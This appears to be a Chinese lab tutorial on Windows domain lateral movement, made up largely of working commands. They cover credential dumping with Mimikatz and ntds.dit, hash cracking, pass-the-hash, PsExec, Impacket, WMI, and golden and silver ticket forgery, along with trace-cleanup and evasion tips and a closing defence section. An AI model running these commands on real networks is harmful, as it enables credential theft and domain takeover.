内网横向移动
内网横向移动
一、Windows远程连接基础
1.1 远程连接方式概述
| 方式 | 说明 |
|---|---|
| mstsc | Windows远程桌面(基于RDP协议,默认端口3389) |
| VNC | 跨平台远程桌面工具 |
| IPC$ | 基于SMB协议的进程间通信共享(本章重点) |
1.2 IPC$ 共享基础
IPC(Inter-Process Communication,进程间通信)用于在进程之间交换数据。IPC$是Windows系统默认开启的隐藏共享,用于远程进程间通信。
1.2.1 IPC$ 利用条件
1、目标主机开启了139、445端口
2、目标主机管理员开启了默认共享(ipc$、admin$、c$等)
端口说明:
-
139端口:NetBIOS会话服务端口,用于提供文件和打印机共享
-
445端口:SMB(Server Message Block)协议端口,是IPC$连接的核心端口
1.2.2 开启IPC$共享
net share ipc$
注释:查看IPC$共享是否已开启(默认启用)。
1.2.3 建立IPC$连接
net use \\192.168.1.1\ipc$ "qxy@123!" /user:administrator
注释:使用指定用户名和密码与目标主机建立IPC$连接(密码为qxy@123!,用户为administrator)。
1.2.4 查看连接状态
net use
注释:查看当前主机建立的所有网络连接,包括IPC$连接。
1.2.5 删除IPC$连接
net use \\192.168.1.1\ipc$ /delete
注释:删除与目标主机的IPC$连接,清理痕迹。
1.3 通过IPC$连接执行远程命令
建立IPC$连接后,可以执行以下远程操作:
tasklist /s 192.168.63.131
注释:通过IPC$连接查看远程主机(192.168.63.131)的进程列表。/s指定远程系统IP。
net time \\192.168.63.131
注释:查看远程主机的当前时间(通常用于确认连接是否成功,以及后续计划任务的时间同步)。
二、基于计划任务的横向移动
2.1 实验环境
攻击机:Win10 目标机:Windows Server 2012
IP:192.168.1.15 IP:192.168.1.58
2.2 制作后门脚本
在攻击机(Win10)上制作一个bat批处理文件(示例为打开计算器,实战中为反弹Shell或后门程序):
calc.bat 内容:
start calc.exe
注释:启动计算器程序(实战中替换为恶意代码,如反弹Shell:powershell -c "反弹shell命令")。
2.3 创建远程计划任务
schtasks /create /S 192.168.1.58 /tn "MyTask" /tr "C:\calc.bat" /sc daily /st 11:31 /U:administrator
注释:在远程主机(192.168.1.58)上创建一个名为"MyTask"的计划任务:
-
/S:指定远程计算机 -
/tn:任务名称(Task Name) -
/tr:任务执行的程序路径(Task Run) -
/sc:任务运行周期(Schedule,此处为每日) -
/st:开始时间(Start Time) -
/U:用户名(Username,需提供目标主机的管理员凭据)
2.4 删除远程计划任务
schtasks /delete /s 192.168.1.58 /tn "MyTask" /f /U:administrator
注释:删除远程主机上的指定计划任务:
-
/delete:删除任务 -
/s:指定远程计算机 -
/tn:要删除的任务名称 -
/f:强制删除(Force),不提示确认 -
/U:用户名
2.5 远程执行命令的其他方式
schtasks /run /s 192.168.1.58 /tn "MyTask" /U:administrator
注释:立即运行远程主机上的指定计划任务,无需等待预定时间。
schtasks /query /s 192.168.1.58 /U:administrator
注释:查询远程主机上的所有计划任务,用于确认任务是否创建成功。
三、Windows系统散列值获取分析与防范
3.1 基础概念
Windows系统使用两种方法对用户明文密码进行加密处理:
| 加密方式 | 说明 | 状态 |
|---|---|---|
| LM Hash | LAN Manager Hash,基于DES加密 | 已废弃(仅老版本系统使用) |
| NTLM Hash | NT LAN Manager Hash,基于MD4加密 | 当前主流(Windows NT及以上) |
3.1.1 Windows登录流程
1. 打开电脑
2. 进入登录页面(winlogon.exe)
3. 输入用户名及密码
4. 密码交给 lsass.exe 进程进行MD4加密
5. 将加密结果与数据库中保存的NTLM Hash进行比对
a) 密码正确 → 成功进入系统
b) 密码错误 → 提示继续输入
关键进程:
-
lsass.exe(Local Security Authority Subsystem Service):本地安全认证子系统服务,负责登录密码校验。所有登录凭证(包括明文密码、NTLM哈希)都可能缓存在该进程的内存中。
-
winlogon.exe:Windows登录管理器,负责显示登录界面并将用户凭证传递给lsass.exe。
3.2 密码抓取工具
常用的密码抓取工具有:
1. GetPass.exe
2. PwDump7.exe
3. QuarksPwDump.exe
4. 通过sam和system文件抓取密码
5. 使用mimikatz在线读取sam文件
6. 使用mimikatz离线读取lsass.dump文件
7. 使用powershell对散列值进行dump操作
8. 使用powershell远程加载mimikatz抓取散列值和明文密码
3.2.1 GetPass.exe
GetPass.exe
注释:直接在目标主机上运行即可抓取密码。适用于Windows 7,但在Windows 10及以上版本可能无法正常工作(工具较老)。
3.2.2 Mimikatz(重点工具)
Mimikatz是法国安全研究员Benjamin Delpy开发的Windows安全审计工具,是目前最强大的Windows凭证抓取工具。
基础用法:
mimikatz.exe
注释:启动Mimikatz进入交互式命令行模式(调试模式)。
privilege::debug
注释:提升Mimikatz到调试权限(需要管理员权限),这是后续所有抓取操作的前置命令。
sekurlsa::logonpasswords
注释:从lsass.exe进程内存中提取当前登录用户的用户名和密码(默认获取NTLM哈希,即密文)。
获取明文密码(需修改注册表):
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
注释:修改注册表,允许系统在lsass.exe内存中保存明文密码。WDigest是Windows的认证协议之一,启用后系统会以明文形式缓存用户密码。
修改完注册表需要重启系统,让配置生效。
重启后重新进入Mimikatz调试模式,执行 sekurlsa::logonpasswords 即可看到明文密码。
注意事项:
-
修改注册表后必须重启才能生效
-
此操作会在系统上留下明显的注册表修改痕迹
-
实战中应评估被发现的风险
3.2.3 Mimikatz免杀
Mimikatz容易被杀毒软件查杀,应对方式主要有:
① 免杀处理:对mimikatz进行混淆、加壳、修改特征码等操作
参考文章:https://zhuanlan.zhihu.com/p/561122455
② 不在目标主机上直接使用,采用间接方式(如下文方法)
方法一:导出SAM和SYSTEM文件(允许导出注册表时)
reg save hklm\sam sam.save
注释:将SAM注册表项导出到当前目录的sam.save文件(SAM中存储了用户的NTLM哈希,但被Syskey加密)。
reg save hklm\system system.save
注释:将SYSTEM注册表项导出到当前目录的system.save文件(SYSTEM中存储了Syskey加密密钥)。
mimikatz.exe "lsadump::sam /sam:sam.save /system:system.save" exit
注释:使用Mimikatz加载导出的SAM和SYSTEM文件,解密并提取所有用户的NTLM哈希。
原理:SAM里存的Hash是用Syskey加密过的,Syskey的密钥藏在SYSTEM中。只有同时拿到两者,才能还原出NTLM Hash。
方法二:使用Procdump导出lsass.dmp(不允许导出注册表时)
Procdump是微软Sysinternals套件中的合法工具(白名单程序),可导出进程的内存镜像。
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
注释:将lsass.exe进程的内存完整导出到lsass.dmp文件。-ma表示完整内存转储(Mini Dump Full)。
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
注释:在攻击机上执行,将导出的lsass.dmp加载到Mimikatz内存中进行分析,提取所有登录凭证。sekurlsa::minidump用于加载内存转储文件,sekurlsa::logonPasswords full提取凭证。
注意事项:
-
SAM只保存NTLM哈希(密文),因此通过注册表导出的文件只能得到密文
-
修改注册表允许保存明文密码后,明文密码存储在lsass.exe进程内存中
-
通过lsass.dmp提取的密码类型取决于注册表配置:
-
未修改注册表:仅能提取NTLM哈希
-
已修改注册表(WDigest开启):可提取明文密码
-
3.2.4 Nishang
Nishang是一个PowerShell渗透测试框架,包含大量PowerShell脚本。
常用命令:
Import-Module .\nishang.psm1
注释:导入Nishang模块。
Get-Information
注释:收集系统信息。
Invoke-Mimikatz
注释:通过PowerShell直接调用Mimikatz功能,无需上传mimikatz.exe文件。
3.2.5 NTDS.dit 导出域内所有用户哈希
在活动目录(Active Directory)中,所有数据(包括所有域用户的密码哈希)都保存在域控的 ntds.dit 文件中。
文件路径:%SystemRoot%\ntds\ntds.dit
NTDS.dit包含但不限于:
-
用户名
-
散列值(NTLM Hash)
-
组信息
-
GPP(组策略首选项)
-
OU(组织单元)
-
其他活动目录信息
⚠️ 注意:ntds.dit文件非常敏感,正在使用中,无法直接拷贝,需要借助VSS(卷影复制服务)进行备份导出。
使用VSS备份导出NTDS.dit的完整流程:
ntdsutil snapshot "activate instance ntds" create quit quit
注释:激活ntds实例并创建快照,完成后会生成一个GUID(如 {6affcd44-c838-424c-885b-468464faa975})。
ntdsutil snapshot "mount {6affcd44-c838-424c-885b-468464faa975}" quit quit
注释:使用上一步生成的GUID挂载快照,挂载后会在系统根目录生成 C:\$SNAP_XXX_VOLUMEC$\ 这样的虚拟卷。
copy C:\$SNAP_202202182022_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
注释:从挂载的快照中复制ntds.dit文件到指定位置(快照体积可能几十GB,但我们只需要其中的ntds.dit文件)。
reg save hklm\system c:\system
注释:导出系统注册表SYSTEM项,后面提取哈希时需要用到(用于解密ntds.dit中的加密哈希)。
ntdsutil snapshot "unmount {6affcd44-c838-424c-885b-468464faa975}" quit quit
注释:卸载快照。
ntdsutil snapshot "delete {6affcd44-c838-424c-885b-468464faa975}" quit quit
注释:删除快照,清理痕迹。
ntdsutil snapshot "List All" quit quit
注释:查询当前系统中的所有快照,用于确认创建和删除状态。
从ntds.dit提取哈希(推荐方法):
secretsdump.py -system system -ntds ntds.dit LOCAL
注释:使用impacket套件中的secretsdump.py工具,利用导出的system文件和ntds.dit文件,在本地提取所有域用户的NTLM哈希。这是最推荐的方法,一条命令即可完成。
注意事项:
-
此操作只能在域控(DC)上执行
-
即使域控管理员密码已更改,通过ntds.dit仍可获取所有用户的哈希(权限维持)
-
提取出的哈希可用于PTH(Pass The Hash)攻击
-
操作完成后必须清理快照和导出的文件
3.3 密码破解
3.3.1 Hashcat 破解密码
Hashcat是目前最强大的密码破解工具之一,在Kali Linux中内置。
使用示例:破解NTLM哈希 1cea9e78be5c55ae22eb2f6e60ee10a0(明文为 Zz2002510!)
hashcat -m 1000 -a 0 -o winpass.txt win.hash passwd.txt --force
注释:使用Hashcat破解NTLM哈希:
-
-m 1000:指定破解类型为NTLM(NTLM Hash的编号为1000) -
-a 0:指定攻击模式为字典攻击(0=字典,1=组合,3=掩码) -
-o winpass.txt:将破解结果输出到winpass.txt文件 -
win.hash:包含待破解哈希值的文件 -
passwd.txt:密码字典文件 -
--force:忽略警告信息(单条哈希破解时可能需要)
hashcat -m 1000 --show win.hash
注释:显示已破解的哈希及其对应的明文密码。
Hashcat常用模式:
| 参数 | 说明 |
|---|---|
-m 1000 |
NTLM Hash |
-m 5600 |
Net-NTLMv2(用于中间人攻击捕获的哈希) |
-a 0 |
字典攻击 |
-a 1 |
组合攻击(将两个字典的组合作为密码) |
-a 3 |
掩码攻击(暴力破解指定字符集和长度) |
--show |
显示已破解的结果 |
Hashcat使用手册参考:https://xz.aliyun.com/t/4008
四、哈希传递攻击(Pass The Hash)
4.1 原理概述
PTH(Pass The Hash)攻击利用了Kerberos认证协议的漏洞。原理:当我抓取到用户的NTLM哈希后,就可以使用该哈希伪造用户身份,无需破解明文密码,直接通过认证。
关键点:PTH攻击在Kerberos认证的AS_REQ阶段就已完成,只需NTLM哈希即可伪造身份,不需要明文密码。
前提条件:
1. 域内任意一台主机的本地管理员权限
2. 域管理员的NTLM哈希(或其他域内用户的哈希)
适用范围限制:
-
只能使用域管理员组内用户的哈希进行PTH攻击(才能控制整个域)
-
其他用户的哈希只能访问该用户拥有的权限范围内的资源
4.2 使用Mimikatz进行PTH攻击
目标:抓取Windows Server 2012的NTLM哈希,使用Mimikatz进行哈希传递攻击。
步骤1:获取目标主机的NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > 123.txt
注释:提取lsass.exe内存中的所有登录凭证(含NTLM哈希),并将输出重定向到123.txt文件。
步骤2:使用Mimikatz执行PTH攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:域管理员用户名 /domain:域名 /ntlm:抓取的NTLM哈希 /run:cmd.exe" exit
注释:使用获取的NTLM哈希伪造域管理员身份,弹出新的CMD窗口(该窗口将具有域管理员的令牌)。
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:qxy.cn /ntlm:1cea9e78be5c55ae22eb2f6e60ee10a0 /run:cmd.exe" exit
注释:实战示例,使用域管理员administrator的NTLM哈希,以域qxy.cn的身份弹出CMD窗口。
步骤3:在新弹出的CMD中验证
echo "hello" > 2023_11_24.txt
注释:在攻击机当前目录创建一个测试文件。
copy 2023_11_24.txt \\192.168.1.58\c$\
注释:将测试文件复制到目标主机(192.168.1.58)的C盘根目录(通过C$管理员共享)。
dir \\192.168.1.58\c$\
注释:列出目标主机C盘目录,验证文件是否成功复制。
4.3 实战场景说明
常见情况:域管理员曾登录过某台域成员主机且未退出登录
→ 在该主机上可以抓取到域管理员的NTLM哈希
→ 使用PTH攻击即可直接控制整个域
攻击流程:
获取域成员主机权限 → 发现域管理员登录痕迹 → 抓取NTLM哈希 → PTH攻击 → 获得域控权限
五、PsExec 横向移动
5.1 PsExec 简介
PsExec是微软Sysinternals套件中的合法远程执行工具,通过SMB协议(445端口)在远程主机上执行命令。
特点:
-
微软官方工具,免杀效果好
-
原理:在远程主机上创建服务,通过服务执行命令
-
需要管理员权限
5.2 PsExec 基本用法
方式一:已建立IPC$连接的情况下
PsExec.exe \\192.168.1.58 cmd.exe
注释:在已建立IPC$连接的前提下,直接使用PsExec连接远程主机(192.168.1.58),获取交互式CMD Shell。
PsExec.exe \\192.168.1.58 -s cmd.exe
注释:-s参数表示以SYSTEM权限运行cmd.exe(最高权限)。
方式二:未建立IPC$连接的情况下
PsExec.exe -accepteula \\192.168.150.12 -u administrator -p 密码 -s cmd.exe
注释:直接指定用户名和密码,无需预先建立IPC$连接:
-
-accepteula:自动接受EULA许可协议(第一次运行需要) -
-u:指定用户名(Username) -
-p:指定密码(Password) -
-s:以SYSTEM权限运行
其他常用参数:
PsExec.exe \\192.168.1.58 -u administrator -p 密码 -c calc.bat
注释:-c参数表示将本地文件复制到远程主机并执行。
PsExec.exe \\192.168.1.58 -d cmd.exe
注释:-d参数表示不等待远程命令执行完成(后台运行),适合执行不返回结果的命令。
六、Impacket工具包横向移动
6.1 Impacket 简介
Impacket是由SecureAuth开发的Python网络协议工具包,专注于Windows协议实现,包含大量用于横向移动和渗透测试的脚本。
安装:
tar -xzvf "impacket-0.11.0 (1).tar.gz"
注释:解压Impacket源码包(Linux环境)。
cd impacket-0.11.0
python setup.py install
注释:安装Impacket(需Python环境)。
6.2 psexec.py(Impacket版)
Impacket的psexec.py功能类似于微软PsExec,但更灵活,支持密码和哈希两种认证方式。
使用明文密码:
python3 psexec.py Administrator@192.168.1.58
注释:通过明文密码登录远程主机(192.168.1.58),会提示输入密码。
python3 psexec.py qxy/Administrator@192.168.139.143
注释:指定域(qxy)和用户(Administrator),连接远程主机。
使用NTLM哈希(PTH方式):
python3 psexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
注释:使用NTLM哈希进行认证(哈希传递攻击)。-hashes参数格式为 :NTLM哈希(LM哈希为空时留空,只写NTLM哈希)。
效果:
root@kali:~/桌面/gongju/impacket-0.11.0/examples python3 psexec.py Administrator@192.168.1.58
Password:
...
C:\Windows\system32> whoami
nt authority\system
6.3 wmiexec.py
使用WMI(Windows Management Instrumentation)协议进行远程命令执行,无需创建服务,更加隐蔽。
使用明文密码:
python3 wmiexec.py Administrator@192.168.1.58
注释:通过WMI连接远程主机(需提供明文密码)。
使用NTLM哈希:
python3 wmiexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
注释:使用NTLM哈希通过WMI认证。
执行单条命令:
python3 wmiexec.py Administrator@192.168.1.58 "whoami"
注释:在远程主机上执行单条命令并立即退出。
6.4 smbexec.py
通过SMB协议在远程主机上执行命令,与psexec.py类似但实现方式略有不同。
python3 smbexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
注释:使用SMB协议通过NTLM哈希进行认证并获取Shell。
6.5 dcomexec.py
利用DCOM(分布式组件对象模型)协议进行远程命令执行,比WMI更隐蔽。
python3 dcomexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0
注释:通过DCOM协议进行远程命令执行。
6.6 atexec.py
利用Windows计划任务(AT命令)在远程主机上执行命令(适用于兼容老版本系统)。
python3 atexec.py qxy/Administrator@192.168.139.143 -hashes :1cea9e78be5c55ae22eb2f6e60ee10a0 "whoami"
注释:通过计划任务在远程主机上执行单条命令(使用哈希认证)。注意用hashes时将命令放置在IP后。
七、WMI 横向移动
7.1 WMI 简介
WMI(Windows Management Instrumentation)是Windows系统的管理基础设施,允许通过脚本和编程方式管理系统。WMI在Windows中默认开启,且通常不会被杀软拦截。
7.2 WMI 远程执行命令
wmic /node:192.168.139.143 /user:Administrator /password:Admin@123! Process call create "cmd.exe /c ipconfig > c:\ip.txt"
注释:使用WMI远程连接目标主机(192.168.139.143),以指定用户名和密码验证身份后,动态创建新进程执行命令(将ipconfig结果写入C:\ip.txt):
-
/node:指定目标节点(远程主机) -
/user:指定用户名 -
/password:指定密码 -
Process call create:调用WMI的进程创建方法,执行命令
7.3 WMI 常用命令
wmic /node:192.168.1.58 /user:Administrator /password:密码 process call create "cmd.exe /c whoami > c:\whoami.txt"
注释:执行whoami命令并将结果输出到文件。
wmic /node:192.168.1.58 /user:Administrator /password:密码 process call create "cmd.exe /c net user hacker P@ssw0rd /add"
注释:在远程主机上创建本地用户hacker。
WMI特点:
-
无需额外上传工具
-
Windows系统自带,兼容性好
-
不会在被控主机上留下可执行文件
-
相对隐蔽
八、黄金票据与白银票据
8.1 Kerberos认证协议概述
Kerberos是Windows域环境中的默认认证协议,涉及以下核心组件:
| 组件 | 全称 | 说明 |
|---|---|---|
| KDC | Key Distribution Center | 密钥分发中心,域控上的核心认证服务 |
| AS | Authentication Service | 认证服务,负责验证用户身份(第一步) |
| TGS | Ticket Granting Service | 票据授予服务,负责颁发服务票据(第二步) |
| TGT | Ticket Granting Ticket | 票据授予票据(黄金票据的目标) |
| ST | Service Ticket | 服务票据(白银票据的目标) |
8.1.1 Kerberos认证流程
┌─────────────────────────────────────────────────────────────────────────────┐
│ 第一步:客户端 → AS(认证服务) │
│ 用户输入密码 → 请求TGT │
│ AS验证用户身份(查询AD中的NTLM哈希) → 返回TGT(用krbtgt密钥加密) │
│ │
│ 第二步:客户端 → TGS(票据授予服务) │
│ 携带TGT + 用户NTLM哈希加密的时间戳 → 请求ST │
│ TGS验证TGT → 返回ST(用目标服务的密钥加密) │
│ │
│ 第三步:客户端 → 目标服务 │
│ 携带ST访问目标服务 → 服务端验证票据 → 允许访问 │
└─────────────────────────────────────────────────────────────────────────────┘
关键点:
-
TGT(黄金票据) :由AS颁发,由krbtgt用户的NTLM哈希加密。只要拥有krbtgt的哈希,就可以伪造任意用户的TGT。
-
ST(白银票据) :由TGS颁发,由目标服务的NTLM哈希加密。只要拥有目标服务账户的哈希,就可以伪造访问该服务的ST。
简化理解:
乘客购票模型:
- 第一个房屋(安检厅)= AS,核验乘客身份后发放"良票"(TGT)
- 第二个房屋(售票厅)= TGS,凭"良票"购买特定车票(ST)
- 车票(ST)= 只能乘坐指定车次(对应特定服务)
黄金票据 = 伪造"良票"(任意车次都能买)
白银票据 = 伪造指定车次的车票(只能访问特定服务)
8.2 黄金票据(Golden Ticket)
黄金票据是伪造的TGT,可以在域内任何一台主机上生成和使用,拥有域的最高控制权。
8.2.1 黄金票据伪造条件
1. 域的SID(Security Identifier)
2. 域用户(任意域用户,通常为Administrator)
3. krbtgt用户的NTLM哈希(最重要的条件)
4. 域的名称
如何获取krbtgt的NTLM哈希:
mimikatz.exe "lsadump::dcsync /domain:qxy.cn /user:krbtgt" exit
注释:使用DCSync技术从域控制器同步krbtgt用户的NTLM哈希(无需登录域控,只需域管理员权限)。

8.2.2 查看当前票据
klist
注释:显示当前主机的Kerberos票据缓存。
klist purge
注释:清除当前主机的所有Kerberos票据缓存。

8.2.3 生成黄金票据
Hash NTLM: 0a1673cbcf1453086833244439e42135
yuechu\administrator S-1-5-21-3540776899-1763508003-2270725786
mimikatz.exe "kerberos::golden /admin:Administrator /domain:yuechu.cn /sid:S-1-5-21-3540776899-1763508003-2270725786 /krbtgt:0a1673cbcf1453086833244439e42135 /ticket:golden.kiribi" exit
net use \\WIN-0PTCQUN7FLV.yuechu.cn\ipc$dir \\WIN-0PTCQUN7FLV.yuechu.cn\c$
kerberos::golden /admin:Administrator /domain:qxy.cn /sid:s-1-5-21-205090235-4032567916-3992694402 /krbtgt:b06486a57ae7975daa324af1cb5bbb91 /ticket:Administrator.kiribi
注释:使用Mimikatz生成黄金票据并导出为文件:
-
/admin:要伪造的用户名 -
/domain:目标域名 -
/sid:域的SID(不含末尾的RID) -
/krbtgt:krbtgt用户的NTLM哈希 -
/ticket:导出票据的文件名(习惯以伪造的用户名命名)
8.2.4 导入黄金票据
kerberos::ptt Administrator.kiribi
注释:将导出的黄金票据导入当前会话(Pass The Ticket),票据会缓存在当前会话中。
8.2.5 验证黄金票据
net use \\192.168.1.58\ipc$
注释:使用票据认证访问远程主机的IPC$共享(无需密码)。
net time /domain
注释:查看域时间,确认DC访问成功。
dir \\WIN-51B90I0MU8A.qxy.cn\c$
注释:列出域控制器C盘的目录内容,验证完全控制权限。


8.3 白银票据(Silver Ticket)
白银票据是伪造的ST,只能访问特定服务(如CIFS文件共享、LDAP、HTTP等),权限范围比黄金票据小。
8.3.1 白银票据伪造条件
1. 域名
2. 域的SID
3. 目标服务器的服务账户NTLM哈希(以DC为例,即DC机器账户的NTLM哈希)
4. 要伪造的用户名
5. 目标服务类型(如cifs、ldap、http等)
8.3.2 获取服务账户NTLM哈希
mimikatz.exe "sekurlsa::logonpasswords" exit
注释:在DC上执行,从lsass.exe内存中提取DC机器账户的NTLM哈希。
8.3.3 生成白银票据
mimikatz.exe "kerberos::golden /domain:yuechu.cn /sid:S-1-5-21-3540776899-1763508003-2270725786 /target:WIN-0PTCQUN7FLV.yuechu.cn /service:cifs /rc4:0a1673cbc1f453086833244439e42135 /user:Administrator /ptt" exit
dir \\WIN-0PTCQUN7FLV.yuechu.cn\c$
net use \\WIN-0PTCQUN7FLV.yuechu.cn\ipc$
mimikatz.exe "kerberos::golden /domain:yuechu.cn /sid:S-1-5-21-3540776899-1763508003-2270725786 /target:WIN-0PTCQUN7FLV.yuechu.cn /service:cifs /rc4:0a1673cbc1f453086833244439e42135 /user:Administrator /ptt" exit

注释:生成针对CIFS服务的白银票据并直接加载到内存(/ptt表示直接注入,不导出文件):
-
/target:目标服务器FQDN -
/service:目标服务类型(cifs用于文件共享访问) -
/rc4:目标服务器机器账户的NTLM哈希 -
/ptt:直接注入当前会话(Pass The Ticket)
常用服务类型:
| 服务 | 用途 |
|---|---|
| cifs | 访问文件共享(最常用) |
| ldap | 访问LDAP目录服务 |
| http | Web服务(如OWA) |
| rpcss | 远程过程调用 |
| wmi | WMI管理 |
8.3.4 验证白银票据
生成并加载票据后,可以查看票据缓存:
klist
注释:查看当前会话中的票据缓存,确认白银票据已注入。
dir \\WIN-6JQD6TJ9HFT.qxy.cn\c$
注释:直接访问目标DC的C盘共享(无需密码,验证票据有效性)。

8.3.5 黄金票据 vs 白银票据 对比
| 对比项 | 黄金票据(Golden Ticket) | 白银票据(Silver Ticket) |
|---|---|---|
| 伪造对象 | TGT(票据授予票据) | ST(服务票据) |
| 所需哈希 | krbtgt用户的NTLM哈希 | 目标服务账户的NTLM哈希 |
| 访问范围 | 整个域的所有服务 | 只能访问指定服务器的指定服务 |
| 权限 | 域管理员级别(完全控制) | 受限于服务权限 |
| 生成位置 | 域内任何主机 | 域内任何主机 |
| 检测难度 | 较高(需要krbtgt哈希,权限要求高) | 较低(仅需要服务账户哈希) |
| 有效期 | 默认10年(可自定义) | 默认10年(可自定义) |
| 最佳用途 | 域权限持久化 | 快速访问特定服务 |
九、总结
9.1 横向移动核心思路
获取本地管理员权限 → 抓取凭证(NTLM哈希/明文密码) → 利用凭证横向移动到其他主机 → 逐步控制整个域
9.2 常用技术对比
| 技术 | 原理 | 所需条件 | 优点 | 缺点 |
|---|---|---|---|---|
| IPC$连接 | SMB共享连接 | 139/445端口、管理员凭据 | 系统自带、基础 | 功能有限 |
| 计划任务 | 创建远程计划任务 | 管理员权限、凭据 | 支持定时执行 | 操作较复杂 |
| PsExec | 远程服务创建执行 | 445端口、管理员权限 | 功能全面 | 可能产生日志 |
| WMI | WMI协议执行命令 | 135端口、凭据 | 无需上传工具 | 需特定端口 |
| PTH攻击 | 使用NTLM哈希认证 | 域管理员哈希 | 无需明文密码 | 需要域环境 |
| 黄金票据 | 伪造TGT | krbtgt哈希 | 任意访问 | 需要域控哈希 |
| 白银票据 | 伪造ST | 服务账户哈希 | 隐蔽性高 | 服务范围受限 |
| Impacket套件 | Python协议实现 | 凭据/哈希 | 跨平台、灵活 | 需Python环境 |
9.3 攻击路径示例
┌─────────────────────────────────────────────────────────────────────────────┐
│ 1. 获得某台域成员主机的本地管理员权限 │
│ ↓ │
│ 2. 抓取凭证: │
│ - 使用Mimikatz抓取lsass内存(明文密码/NTLM哈希) │
│ - 导出SAM和SYSTEM文件(离线提取NTLM哈希) │
│ - 从域控导出ntds.dit(获取所有域用户哈希) │
│ ↓ │
│ 3. 横向移动: │
│ - 使用PTH攻击(利用域管理员哈希) │
│ - 使用PsExec/WMI执行远程命令 │
│ - 使用Impacket工具包 │
│ ↓ │
│ 4. 权限维持: │
│ - 创建黄金票据(使用krbtgt哈希) │
│ - 创建白银票据(使用服务账户哈希) │
│ - 添加隐藏账户 │
│ ↓ │
│ 5. 完全控制域 │
└─────────────────────────────────────────────────────────────────────────────┘
9.4 防御建议
-
凭证保护:
-
启用Credential Guard(Win10/Server 2016+),防止lsass内存被读取
-
启用Protected Users组,限制Kerberos票据的获取方式
-
限制域管理员登录(仅允许在DC上登录)
-
-
权限管理:
-
最小权限原则,减少不必要的管理员账户
-
使用LAPS管理本地管理员密码
-
定期更换krbtgt密码(需谨慎,会影响Kerberos认证)
-
-
网络防护:
-
限制445/139端口的内网通信范围
-
启用网络流量审计和异常检测
-
部署EDR/终端检测响应系统
-
-
日志监控:
-
监控安全事件ID 4624(登录)、4672(特权登录)
-
监控Mimikatz相关行为(如lsass进程异常访问)
-
监控异常的计划任务创建(事件ID 4698)
-
监控异常的Kerberos票据请求(事件ID 4769)
-
9.5 核心要点
横向移动的实质是:利用已获取的凭证(密码或哈希),通过合法的Windows管理协议,在目标主机上执行任意命令或获取Shell。
-
凭证为王:无论使用哪种横向移动技术,核心都是有效的凭证(明文密码或NTLM哈希)
-
协议多样:SMB、WMI、RPC、DCOM、RDP等都是Windows内置的管理协议
-
隐蔽性优先:越接近系统原生功能(如WMI、DCOM),被检测的风险越低
-
持久化保障

浙公网安备 33010602011771号